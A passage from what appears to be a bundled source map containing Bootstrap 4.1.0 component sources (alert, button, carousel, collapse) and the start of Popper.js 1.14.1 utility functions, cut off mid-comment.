this._destroyElement(element, event))\n .emulateTransitionEnd(transitionDuration)\n }\n\n _destroyElement(element) {\n $(element)\n .detach()\n .trigger(Event.CLOSED)\n .remove()\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n const $element = $(this)\n let data = $element.data(DATA_KEY)\n\n if (!data) {\n data = new Alert(this)\n $element.data(DATA_KEY, data)\n }\n\n if (config === 'close') {\n data[config](this)\n }\n })\n }\n\n static _handleDismiss(alertInstance) {\n return function (event) {\n if (event) {\n event.preventDefault()\n }\n\n alertInstance.close(this)\n }\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document).on(\n Event.CLICK_DATA_API,\n Selector.DISMISS,\n Alert._handleDismiss(new Alert())\n )\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Alert._jQueryInterface\n $.fn[NAME].Constructor = Alert\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Alert._jQueryInterface\n }\n\n return Alert\n})($)\n\nexport default Alert\n","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): button.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Button = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'button'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.button'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const ClassName = {\n ACTIVE : 'active',\n BUTTON : 'btn',\n FOCUS : 'focus'\n }\n\n const Selector = {\n DATA_TOGGLE_CARROT : '[data-toggle^=\"button\"]',\n DATA_TOGGLE : '[data-toggle=\"buttons\"]',\n INPUT : 'input',\n ACTIVE : '.active',\n BUTTON : '.btn'\n }\n\n const Event = {\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`,\n FOCUS_BLUR_DATA_API : `focus${EVENT_KEY}${DATA_API_KEY} ` +\n `blur${EVENT_KEY}${DATA_API_KEY}`\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Button {\n constructor(element) {\n this._element = element\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n // Public\n\n toggle() {\n let triggerChangeEvent = true\n let addAriaPressed = true\n const rootElement = $(this._element).closest(\n Selector.DATA_TOGGLE\n )[0]\n\n if (rootElement) {\n const input = $(this._element).find(Selector.INPUT)[0]\n\n if (input) {\n if (input.type === 'radio') {\n if (input.checked &&\n $(this._element).hasClass(ClassName.ACTIVE)) {\n triggerChangeEvent = false\n } else {\n const activeElement = $(rootElement).find(Selector.ACTIVE)[0]\n\n if (activeElement) {\n $(activeElement).removeClass(ClassName.ACTIVE)\n }\n }\n }\n\n if (triggerChangeEvent) {\n if (input.hasAttribute('disabled') ||\n rootElement.hasAttribute('disabled') ||\n input.classList.contains('disabled') ||\n rootElement.classList.contains('disabled')) {\n return\n }\n input.checked = !$(this._element).hasClass(ClassName.ACTIVE)\n $(input).trigger('change')\n }\n\n input.focus()\n addAriaPressed = false\n }\n }\n\n if (addAriaPressed) {\n this._element.setAttribute('aria-pressed',\n !$(this._element).hasClass(ClassName.ACTIVE))\n }\n\n if (triggerChangeEvent) {\n $(this._element).toggleClass(ClassName.ACTIVE)\n }\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n this._element = null\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n\n if (!data) {\n data = new Button(this)\n $(this).data(DATA_KEY, data)\n }\n\n if (config === 'toggle') {\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n event.preventDefault()\n\n let button = event.target\n\n if (!$(button).hasClass(ClassName.BUTTON)) {\n button = $(button).closest(Selector.BUTTON)\n }\n\n Button._jQueryInterface.call($(button), 'toggle')\n })\n .on(Event.FOCUS_BLUR_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n const button = $(event.target).closest(Selector.BUTTON)[0]\n $(button).toggleClass(ClassName.FOCUS, /^focus(in)?$/.test(event.type))\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Button._jQueryInterface\n $.fn[NAME].Constructor = Button\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Button._jQueryInterface\n }\n\n return Button\n})($)\n\nexport default Button\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): carousel.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Carousel = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'carousel'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.carousel'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const ARROW_LEFT_KEYCODE = 37 // KeyboardEvent.which value for left arrow key\n const ARROW_RIGHT_KEYCODE = 39 // KeyboardEvent.which value for right arrow key\n const TOUCHEVENT_COMPAT_WAIT = 500 // Time for mouse compat events to fire after touch\n\n const Default = {\n interval : 5000,\n keyboard : true,\n slide : false,\n pause : 'hover',\n wrap : true\n }\n\n const DefaultType = {\n interval : '(number|boolean)',\n keyboard : 'boolean',\n slide : '(boolean|string)',\n pause : '(string|boolean)',\n wrap : 'boolean'\n }\n\n const Direction = {\n NEXT : 'next',\n PREV : 'prev',\n LEFT : 'left',\n RIGHT : 'right'\n }\n\n const Event = {\n SLIDE : `slide${EVENT_KEY}`,\n SLID : `slid${EVENT_KEY}`,\n KEYDOWN : `keydown${EVENT_KEY}`,\n MOUSEENTER : `mouseenter${EVENT_KEY}`,\n MOUSELEAVE : `mouseleave${EVENT_KEY}`,\n TOUCHEND : `touchend${EVENT_KEY}`,\n LOAD_DATA_API : `load${EVENT_KEY}${DATA_API_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n CAROUSEL : 'carousel',\n ACTIVE : 'active',\n SLIDE : 'slide',\n RIGHT : 'carousel-item-right',\n LEFT : 'carousel-item-left',\n NEXT : 'carousel-item-next',\n PREV : 'carousel-item-prev',\n ITEM : 'carousel-item'\n }\n\n const Selector = {\n ACTIVE : '.active',\n ACTIVE_ITEM : '.active.carousel-item',\n ITEM : '.carousel-item',\n NEXT_PREV : '.carousel-item-next, .carousel-item-prev',\n INDICATORS : '.carousel-indicators',\n DATA_SLIDE : '[data-slide], [data-slide-to]',\n DATA_RIDE : '[data-ride=\"carousel\"]'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Carousel {\n constructor(element, config) {\n this._items = null\n this._interval = null\n this._activeElement = null\n\n this._isPaused = false\n this._isSliding = false\n\n this.touchTimeout = null\n\n this._config = this._getConfig(config)\n this._element = $(element)[0]\n this._indicatorsElement = $(this._element).find(Selector.INDICATORS)[0]\n\n this._addEventListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n next() {\n if (!this._isSliding) {\n this._slide(Direction.NEXT)\n }\n }\n\n nextWhenVisible() {\n // Don't call next when the page isn't visible\n // or the carousel or its parent isn't visible\n if (!document.hidden &&\n ($(this._element).is(':visible') && $(this._element).css('visibility') !== 'hidden')) {\n this.next()\n }\n }\n\n prev() {\n if (!this._isSliding) {\n this._slide(Direction.PREV)\n }\n }\n\n pause(event) {\n if (!event) {\n this._isPaused = true\n }\n\n if ($(this._element).find(Selector.NEXT_PREV)[0]) {\n Util.triggerTransitionEnd(this._element)\n this.cycle(true)\n }\n\n clearInterval(this._interval)\n this._interval = null\n }\n\n cycle(event) {\n if (!event) {\n this._isPaused = false\n }\n\n if (this._interval) {\n clearInterval(this._interval)\n this._interval = null\n }\n\n if (this._config.interval && !this._isPaused) {\n this._interval = setInterval(\n (document.visibilityState ? this.nextWhenVisible : this.next).bind(this),\n this._config.interval\n )\n }\n }\n\n to(index) {\n this._activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n\n const activeIndex = this._getItemIndex(this._activeElement)\n\n if (index > this._items.length - 1 || index < 0) {\n return\n }\n\n if (this._isSliding) {\n $(this._element).one(Event.SLID, () => this.to(index))\n return\n }\n\n if (activeIndex === index) {\n this.pause()\n this.cycle()\n return\n }\n\n const direction = index > activeIndex\n ? Direction.NEXT\n : Direction.PREV\n\n this._slide(direction, this._items[index])\n }\n\n dispose() {\n $(this._element).off(EVENT_KEY)\n $.removeData(this._element, DATA_KEY)\n\n this._items = null\n this._config = null\n this._element = null\n this._interval = null\n this._isPaused = null\n this._isSliding = null\n this._activeElement = null\n this._indicatorsElement = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _addEventListeners() {\n if (this._config.keyboard) {\n $(this._element)\n .on(Event.KEYDOWN, (event) => this._keydown(event))\n }\n\n if (this._config.pause === 'hover') {\n $(this._element)\n .on(Event.MOUSEENTER, (event) => this.pause(event))\n .on(Event.MOUSELEAVE, (event) => this.cycle(event))\n if ('ontouchstart' in document.documentElement) {\n // If it's a touch-enabled device, mouseenter/leave are fired as\n // part of the mouse compatibility events on first tap - the carousel\n // would stop cycling until user tapped out of it;\n // here, we listen for touchend, explicitly pause the carousel\n // (as if it's the second time we tap on it, mouseenter compat event\n // is NOT fired) and after a timeout (to allow for mouse compatibility\n // events to fire) we explicitly restart cycling\n $(this._element).on(Event.TOUCHEND, () => {\n this.pause()\n if (this.touchTimeout) {\n clearTimeout(this.touchTimeout)\n }\n this.touchTimeout = setTimeout((event) => this.cycle(event), TOUCHEVENT_COMPAT_WAIT + this._config.interval)\n })\n }\n }\n }\n\n _keydown(event) {\n if (/input|textarea/i.test(event.target.tagName)) {\n return\n }\n\n switch (event.which) {\n case ARROW_LEFT_KEYCODE:\n event.preventDefault()\n this.prev()\n break\n case ARROW_RIGHT_KEYCODE:\n event.preventDefault()\n this.next()\n break\n default:\n }\n }\n\n _getItemIndex(element) {\n this._items = $.makeArray($(element).parent().find(Selector.ITEM))\n return this._items.indexOf(element)\n }\n\n _getItemByDirection(direction, activeElement) {\n const isNextDirection = direction === Direction.NEXT\n const isPrevDirection = direction === Direction.PREV\n const activeIndex = this._getItemIndex(activeElement)\n const lastItemIndex = this._items.length - 1\n const isGoingToWrap = isPrevDirection && activeIndex === 0 ||\n isNextDirection && activeIndex === lastItemIndex\n\n if (isGoingToWrap && !this._config.wrap) {\n return activeElement\n }\n\n const delta = direction === Direction.PREV ? -1 : 1\n const itemIndex = (activeIndex + delta) % this._items.length\n\n return itemIndex === -1\n ? this._items[this._items.length - 1] : this._items[itemIndex]\n }\n\n _triggerSlideEvent(relatedTarget, eventDirectionName) {\n const targetIndex = this._getItemIndex(relatedTarget)\n const fromIndex = this._getItemIndex($(this._element).find(Selector.ACTIVE_ITEM)[0])\n const slideEvent = $.Event(Event.SLIDE, {\n relatedTarget,\n direction: eventDirectionName,\n from: fromIndex,\n to: targetIndex\n })\n\n $(this._element).trigger(slideEvent)\n\n return slideEvent\n }\n\n _setActiveIndicatorElement(element) {\n if (this._indicatorsElement) {\n $(this._indicatorsElement)\n .find(Selector.ACTIVE)\n .removeClass(ClassName.ACTIVE)\n\n const nextIndicator = this._indicatorsElement.children[\n this._getItemIndex(element)\n ]\n\n if (nextIndicator) {\n $(nextIndicator).addClass(ClassName.ACTIVE)\n }\n }\n }\n\n _slide(direction, element) {\n const activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n const activeElementIndex = this._getItemIndex(activeElement)\n const nextElement = element || activeElement &&\n this._getItemByDirection(direction, activeElement)\n const nextElementIndex = this._getItemIndex(nextElement)\n const isCycling = Boolean(this._interval)\n\n let directionalClassName\n let orderClassName\n let eventDirectionName\n\n if (direction === Direction.NEXT) {\n directionalClassName = ClassName.LEFT\n orderClassName = ClassName.NEXT\n eventDirectionName = Direction.LEFT\n } else {\n directionalClassName = ClassName.RIGHT\n orderClassName = ClassName.PREV\n eventDirectionName = Direction.RIGHT\n }\n\n if (nextElement && $(nextElement).hasClass(ClassName.ACTIVE)) {\n this._isSliding = false\n return\n }\n\n const slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName)\n if (slideEvent.isDefaultPrevented()) {\n return\n }\n\n if (!activeElement || !nextElement) {\n // Some weirdness is happening, so we bail\n return\n }\n\n this._isSliding = true\n\n if (isCycling) {\n this.pause()\n }\n\n this._setActiveIndicatorElement(nextElement)\n\n const slidEvent = $.Event(Event.SLID, {\n relatedTarget: nextElement,\n direction: eventDirectionName,\n from: activeElementIndex,\n to: nextElementIndex\n })\n\n if ($(this._element).hasClass(ClassName.SLIDE)) {\n $(nextElement).addClass(orderClassName)\n\n Util.reflow(nextElement)\n\n $(activeElement).addClass(directionalClassName)\n $(nextElement).addClass(directionalClassName)\n\n const transitionDuration = Util.getTransitionDurationFromElement(activeElement)\n\n $(activeElement)\n .one(Util.TRANSITION_END, () => {\n $(nextElement)\n .removeClass(`${directionalClassName} ${orderClassName}`)\n .addClass(ClassName.ACTIVE)\n\n $(activeElement).removeClass(`${ClassName.ACTIVE} ${orderClassName} ${directionalClassName}`)\n\n this._isSliding = false\n\n setTimeout(() => $(this._element).trigger(slidEvent), 0)\n })\n .emulateTransitionEnd(transitionDuration)\n } else {\n $(activeElement).removeClass(ClassName.ACTIVE)\n $(nextElement).addClass(ClassName.ACTIVE)\n\n this._isSliding = false\n $(this._element).trigger(slidEvent)\n }\n\n if (isCycling) {\n this.cycle()\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n let _config = {\n ...Default,\n ...$(this).data()\n }\n\n if (typeof config === 'object') {\n _config = {\n ..._config,\n ...config\n }\n }\n\n const action = typeof config === 'string' ? config : _config.slide\n\n if (!data) {\n data = new Carousel(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'number') {\n data.to(config)\n } else if (typeof action === 'string') {\n if (typeof data[action] === 'undefined') {\n throw new TypeError(`No method named \"${action}\"`)\n }\n data[action]()\n } else if (_config.interval) {\n data.pause()\n data.cycle()\n }\n })\n }\n\n static _dataApiClickHandler(event) {\n const selector = Util.getSelectorFromElement(this)\n\n if (!selector) {\n return\n }\n\n const target = $(selector)[0]\n\n if (!target || !$(target).hasClass(ClassName.CAROUSEL)) {\n return\n }\n\n const config = {\n ...$(target).data(),\n ...$(this).data()\n }\n const slideIndex = this.getAttribute('data-slide-to')\n\n if (slideIndex) {\n config.interval = false\n }\n\n Carousel._jQueryInterface.call($(target), config)\n\n if (slideIndex) {\n $(target).data(DATA_KEY).to(slideIndex)\n }\n\n event.preventDefault()\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.CLICK_DATA_API, Selector.DATA_SLIDE, Carousel._dataApiClickHandler)\n\n $(window).on(Event.LOAD_DATA_API, () => {\n $(Selector.DATA_RIDE).each(function () {\n const $carousel = $(this)\n Carousel._jQueryInterface.call($carousel, $carousel.data())\n })\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Carousel._jQueryInterface\n $.fn[NAME].Constructor = Carousel\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Carousel._jQueryInterface\n }\n\n return Carousel\n})($)\n\nexport default Carousel\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): collapse.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Collapse = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'collapse'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.collapse'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Default = {\n toggle : true,\n parent : ''\n }\n\n const DefaultType = {\n toggle : 'boolean',\n parent : '(string|element)'\n }\n\n const Event = {\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n SHOW : 'show',\n COLLAPSE : 'collapse',\n COLLAPSING : 'collapsing',\n COLLAPSED : 'collapsed'\n }\n\n const Dimension = {\n WIDTH : 'width',\n HEIGHT : 'height'\n }\n\n const Selector = {\n ACTIVES : '.show, .collapsing',\n DATA_TOGGLE : '[data-toggle=\"collapse\"]'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Collapse {\n constructor(element, config) {\n this._isTransitioning = false\n this._element = element\n this._config = this._getConfig(config)\n this._triggerArray = $.makeArray($(\n `[data-toggle=\"collapse\"][href=\"#${element.id}\"],` +\n `[data-toggle=\"collapse\"][data-target=\"#${element.id}\"]`\n ))\n const tabToggles = $(Selector.DATA_TOGGLE)\n for (let i = 0; i < tabToggles.length; i++) {\n const elem = tabToggles[i]\n const selector = Util.getSelectorFromElement(elem)\n if (selector !== null && $(selector).filter(element).length > 0) {\n this._selector = selector\n this._triggerArray.push(elem)\n }\n }\n\n this._parent = this._config.parent ? this._getParent() : null\n\n if (!this._config.parent) {\n this._addAriaAndCollapsedClass(this._element, this._triggerArray)\n }\n\n if (this._config.toggle) {\n this.toggle()\n }\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n toggle() {\n if ($(this._element).hasClass(ClassName.SHOW)) {\n this.hide()\n } else {\n this.show()\n }\n }\n\n show() {\n if (this._isTransitioning ||\n $(this._element).hasClass(ClassName.SHOW)) {\n return\n }\n\n let actives\n let activesData\n\n if (this._parent) {\n actives = $.makeArray(\n $(this._parent)\n .find(Selector.ACTIVES)\n .filter(`[data-parent=\"${this._config.parent}\"]`)\n )\n if (actives.length === 0) {\n actives = null\n }\n }\n\n if (actives) {\n activesData = $(actives).not(this._selector).data(DATA_KEY)\n if (activesData && activesData._isTransitioning) {\n return\n }\n }\n\n const startEvent = $.Event(Event.SHOW)\n $(this._element).trigger(startEvent)\n if (startEvent.isDefaultPrevented()) {\n return\n }\n\n if (actives) {\n Collapse._jQueryInterface.call($(actives).not(this._selector), 'hide')\n if (!activesData) {\n $(actives).data(DATA_KEY, null)\n }\n }\n\n const dimension = this._getDimension()\n\n $(this._element)\n .removeClass(ClassName.COLLAPSE)\n .addClass(ClassName.COLLAPSING)\n\n this._element.style[dimension] = 0\n\n if (this._triggerArray.length > 0) {\n $(this._triggerArray)\n .removeClass(ClassName.COLLAPSED)\n .attr('aria-expanded', true)\n }\n\n this.setTransitioning(true)\n\n const complete = () => {\n $(this._element)\n .removeClass(ClassName.COLLAPSING)\n .addClass(ClassName.COLLAPSE)\n .addClass(ClassName.SHOW)\n\n this._element.style[dimension] = ''\n\n this.setTransitioning(false)\n\n $(this._element).trigger(Event.SHOWN)\n }\n\n const capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1)\n const scrollSize = `scroll${capitalizedDimension}`\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n\n this._element.style[dimension] = `${this._element[scrollSize]}px`\n }\n\n hide() {\n if (this._isTransitioning ||\n !$(this._element).hasClass(ClassName.SHOW)) {\n return\n }\n\n const startEvent = $.Event(Event.HIDE)\n $(this._element).trigger(startEvent)\n if (startEvent.isDefaultPrevented()) {\n return\n }\n\n const dimension = this._getDimension()\n\n this._element.style[dimension] = `${this._element.getBoundingClientRect()[dimension]}px`\n\n Util.reflow(this._element)\n\n $(this._element)\n .addClass(ClassName.COLLAPSING)\n .removeClass(ClassName.COLLAPSE)\n .removeClass(ClassName.SHOW)\n\n if (this._triggerArray.length > 0) {\n for (let i = 0; i < this._triggerArray.length; i++) {\n const trigger = this._triggerArray[i]\n const selector = Util.getSelectorFromElement(trigger)\n if (selector !== null) {\n const $elem = $(selector)\n if (!$elem.hasClass(ClassName.SHOW)) {\n $(trigger).addClass(ClassName.COLLAPSED)\n .attr('aria-expanded', false)\n }\n }\n }\n }\n\n this.setTransitioning(true)\n\n const complete = () => {\n this.setTransitioning(false)\n $(this._element)\n .removeClass(ClassName.COLLAPSING)\n .addClass(ClassName.COLLAPSE)\n .trigger(Event.HIDDEN)\n }\n\n this._element.style[dimension] = ''\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n }\n\n setTransitioning(isTransitioning) {\n this._isTransitioning = isTransitioning\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n\n this._config = null\n this._parent = null\n this._element = null\n this._triggerArray = null\n this._isTransitioning = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n config.toggle = Boolean(config.toggle) // Coerce string values\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _getDimension() {\n const hasWidth = $(this._element).hasClass(Dimension.WIDTH)\n return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT\n }\n\n _getParent() {\n let parent = null\n if (Util.isElement(this._config.parent)) {\n parent = this._config.parent\n\n // It's a jQuery object\n if (typeof this._config.parent.jquery !== 'undefined') {\n parent = this._config.parent[0]\n }\n } else {\n parent = $(this._config.parent)[0]\n }\n\n const selector =\n `[data-toggle=\"collapse\"][data-parent=\"${this._config.parent}\"]`\n\n $(parent).find(selector).each((i, element) => {\n this._addAriaAndCollapsedClass(\n Collapse._getTargetFromElement(element),\n [element]\n )\n })\n\n return parent\n }\n\n _addAriaAndCollapsedClass(element, triggerArray) {\n if (element) {\n const isOpen = $(element).hasClass(ClassName.SHOW)\n\n if (triggerArray.length > 0) {\n $(triggerArray)\n .toggleClass(ClassName.COLLAPSED, !isOpen)\n .attr('aria-expanded', isOpen)\n }\n }\n }\n\n // Static\n\n static _getTargetFromElement(element) {\n const selector = Util.getSelectorFromElement(element)\n return selector ? $(selector)[0] : null\n }\n\n static _jQueryInterface(config) {\n return this.each(function () {\n const $this = $(this)\n let data = $this.data(DATA_KEY)\n const _config = {\n ...Default,\n ...$this.data(),\n ...typeof config === 'object' && config\n }\n\n if (!data && _config.toggle && /show|hide/.test(config)) {\n _config.toggle = false\n }\n\n if (!data) {\n data = new Collapse(this, _config)\n $this.data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n // preventDefault only for <a> elements (which change the URL) not inside the collapsible element\n if (event.currentTarget.tagName === 'A') {\n event.preventDefault()\n }\n\n const $trigger = $(this)\n const selector = Util.getSelectorFromElement(this)\n $(selector).each(function () {\n const $target = $(this)\n const data = $target.data(DATA_KEY)\n const config = data ? 'toggle' : $trigger.data()\n Collapse._jQueryInterface.call($target, config)\n })\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Collapse._jQueryInterface\n $.fn[NAME].Constructor = Collapse\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Collapse._jQueryInterface\n }\n\n return Collapse\n})($)\n\nexport default Collapse\n","/**!\n * @fileOverview Kickass library to create and place poppers near their reference elements.\n * @version 1.14.1\n * @license\n * Copyright (c) 2016 Federico Zivolo and contributors\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\nvar isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined';\nvar longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nvar timeoutDuration = 0;\nfor (var i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n timeoutDuration = 1;\n break;\n }\n}\n\nfunction microtaskDebounce(fn) {\n var called = false;\n return function () {\n if (called) {\n return;\n }\n called = true;\n window.Promise.resolve().then(function () {\n called = false;\n fn();\n });\n };\n}\n\nfunction taskDebounce(fn) {\n var scheduled = false;\n return function () {\n if (!scheduled) {\n scheduled = true;\n setTimeout(function () {\n scheduled = false;\n fn();\n }, timeoutDuration);\n }\n };\n}\n\nvar supportsMicroTasks = isBrowser && window.Promise;\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nvar debounce = supportsMicroTasks ? microtaskDebounce : taskDebounce;\n\n/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nfunction isFunction(functionToCheck) {\n var getType = {};\n return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';\n}\n\n/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nfunction getStyleComputedProperty(element, property) {\n if (element.nodeType !== 1) {\n return [];\n }\n // NOTE: 1 DOM access here\n var css = getComputedStyle(element, null);\n return property ? css[property] : css;\n}\n\n/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nfunction getParentNode(element) {\n if (element.nodeName === 'HTML') {\n return element;\n }\n return element.parentNode || element.host;\n}\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nfunction getScrollParent(element) {\n // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n if (!element) {\n return document.body;\n }\n\n switch (element.nodeName) {\n case 'HTML':\n case 'BODY':\n return element.ownerDocument.body;\n case '#document':\n return element.body;\n }\n\n // Firefox want us to check `-x` and `-y` variations as well\n\n var _getStyleComputedProp = getStyleComputedProperty(element),\n overflow = _getStyleComputedProp.overflow,\n overflowX = _getStyleComputedProp.overflowX,\n overflowY = _getStyleComputedProp.overflowY;\n\n if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n return element;\n }\n\n return getScrollParent(getParentNode(element));\n}\n\n/**\n * Tells if you are running Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @argument {number} version to check\n * @returns {Boolean} isIE\n */\nvar cache = {};\n\nvar isIE = function () {\n var version = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 'all';\n\n version = version.toString();\n if (cache.hasOwnProperty(version)) {\n return cache[version];\n }\n switch (version) {\n case '11':\n cache[version] = navigator.userAgent.indexOf('Trident') !== -1;\n break;\n case '10':\n cache[version] = navigator.appVersion.indexOf('MSIE 10') !== -1;\n break;\n case 'all':\n cache[version] = navigator.userAgent.indexOf('Trident') !== -1 || navigator.userAgent.indexOf('MSIE') !== -1;\n break;\n }\n\n //Set IE\n cache.all = cache.all || Object.keys(cache).some(function (key) {\n return cache[key];\n });\n return cache[version];\n};\n\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nfunction getOffsetParent(element) {\n if (!element) {\n return document.documentElement;\n }\n\n var noOffsetParent = isIE(10) ? document.body : null;\n\n // NOTE: 1 DOM access here\n var offsetParent = element.offsetParent;\n // Skip 